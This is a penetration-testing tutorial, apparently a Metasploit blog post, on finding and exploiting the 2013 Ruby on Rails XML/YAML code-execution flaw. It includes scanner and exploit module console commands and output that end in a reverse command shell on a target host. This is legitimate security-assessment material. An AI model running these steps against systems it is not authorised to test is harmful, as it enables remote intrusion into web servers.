Last updated at Sat, 20 Jan 2024 23:18:40 GMT

Background

Earlier this week, a critical security flaw in Ruby on Rails (RoR) was identified that could expose an application to remote code execution, SQL injection, and denial of service attacks. Ruby on Rails is a popular web application framework that is used by both web sites and web-enabled products and this flaw is by far the worst security problem to surface in this framework to date. If you are interested in the details of the bug, Postmodern (developer of Ronin) wrote a great blog post covering each of the issues in depth.

In this post I will walk through the process of identifying and exploiting vulnerable Ruby on Rails instances.

First off, make sure you have a copy of Metasploit and that you have applied the latest update through the web interface. The Metasploit web interface is also a Ruby on Rails application and applying the latest update will ensure that your systems are not vulnerable to attack. Applying the latest update will also ensure you have access to the latest exploits and supporting modules. If you are using a Git checkout of the Metasploit Framework, pull the latest commits from master and you should be good to go. For version 4.5.0, you want to be running update Metasploit Update

Service Discovery

Next we need to identify any web servers within the target environment. Metasploit Pro, Metasploit Express, and Metasploit Community users can use the Scan component within the web interface to automatically discover hosts and services across the network. Console users should leverage db_nmap and the auxiliary/scanner/http/http_version module to locate and fingerprint any exposed web servers. The example below shows how you can configure the Scan component to identify common web server ports. This scan focuses only on ports 80, 343, 3000, 3001, 4567, 8080, 8443, and 3790 in order to reduce the scan time and identify common RoR application ports.

Troubleshooting

If you are having trouble identifying potential RoR applications, there are a few things to keep in mind:

  • Rails often runs on top of the Apache, NginX, Thin, and WEBrick servers
  • Rails may be only be accessible at a certain path, such as /forum or /redmine
  • Rails may be listening on a non-standard port, such as 3000, 4567, or 8888

Rails can be identified through additional headers on the HTTP response as well, for example:

  • X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8
  • X-Rack-Cache: miss
  • Set-Cookie: _appname_session=(base64)==--(hexadecimal)

Vulnerability Detection

Now that you have a list of servers and ports, it is time to use the RoR vulnerability scanning module within Metasploit. Users of the web interface should access the Modules tab and search for rails_xml_yaml_scanner. Once the module has been selected, enter the IP range you wish to test. If you have web servers across multiple ports (say, 80 and 443 with SSL), you will need to repeat this process once for each port. If these servers are using SSL, make sure that option has been selected. In some cases, you may need to specify the VHOST and URIPATH to tell the module exactly what web site and URL to test.

Metasploit console users can accomplish the same thing by running the following commands:

msf> use auxiliary/scanner/http/rails_xml_yaml_scanner

msf  auxiliary(rails_xml_yaml_scanner) > set RHOSTS 192.168.0.0/24

msf  auxiliary(rails_xml_yaml_scanner) > set RPORT 80

msf  auxiliary(rails_xml_yaml_scanner) > set THREADS 128

msf  auxiliary(rails_xml_yaml_scanner) > run

The output of the scan should be a list of vulnerable servers, or no output at all if none were found. If you would like to see more information about the scan, set the VERBOSE option to true.

[*] Scanned 036 of 256 hosts (014% complete)

[*] Scanned 133 of 256 hosts (051% complete)

[ ] 192.168.0.4:80 is likely vulnerable due to a 500 reply for invalid YAML

[*] Scanned 148 of 256 hosts (057% complete)

[*] Scanned 154 of 256 hosts (060% complete)

[*] Scanned 155 of 256 hosts (060% complete)

[*] Scanned 221 of 256 hosts (086% complete)

[*] Scanned 224 of 256 hosts (087% complete)

[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

In the output above, we can see that 192.168.0.4 appears to be vulnerable. If a database was connected to the Metasploit console or the web interface was used, there will also be a reported vulnerability for this host. The Metasploit web interface will show something like the following under the Vulnerabilities tab of Analysis.


Exploitation

To validate this vulnerability, we will now use the exploit module and try to gain access to the web server.  To do so, click the name of the vulnerability in the web interface and select the Launch option for the Rails exploit shown. Verify that the RPORT and SSL settings are correct and launch. Metasploit Console users can select and launch the exploit with the following commands:

msf> use exploit/multi/http/rails_xml_yaml_code_exec

msf  exploit(rails_xml_yaml_code_exec) > set RHOST 192.168.0.4

msf  exploit(rails_xml_yaml_code_exec) > set RPORT 80

msf  exploit(rails_xml_yaml_code_exec) > exploit

[*] Reloading module...

[*] Started reverse handler on 192.168.0.4:4444

[*] Sending Railsv3 request to 192.168.0.4:80...

[*] Sending Railsv2 request to 192.168.0.4:80...

[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.4:53719) at 2013-01-10 03:07:54 -0600

id

uid=1001(www) gid=1001(www) groups=1001(www)

Troubleshooting

If the server was reported as vulnerable, but you did not get a session, you may need to change your payload settings. By default, Metasploit will try to use a reverse-connect payload, but this can fail if your system is behind a firewall or if the target system is unable to connect back.  If you are conducting an assessment of an external network, it makes sense to run Metasploit a remote, externally-facing system as well. If you are using a virtual machine, make sure the virtual interface is set to Bridged and not NAT mode. You can also override the payload settings to prefer a bind payload, but if the target has a firewall, the LPORT option must be set to an unfiltered port.

Given the widespread use of Ruby on Rails and the mix of web sites and web-based product front-ends using it, this vulnerability may be a common finding for years to come.

-HD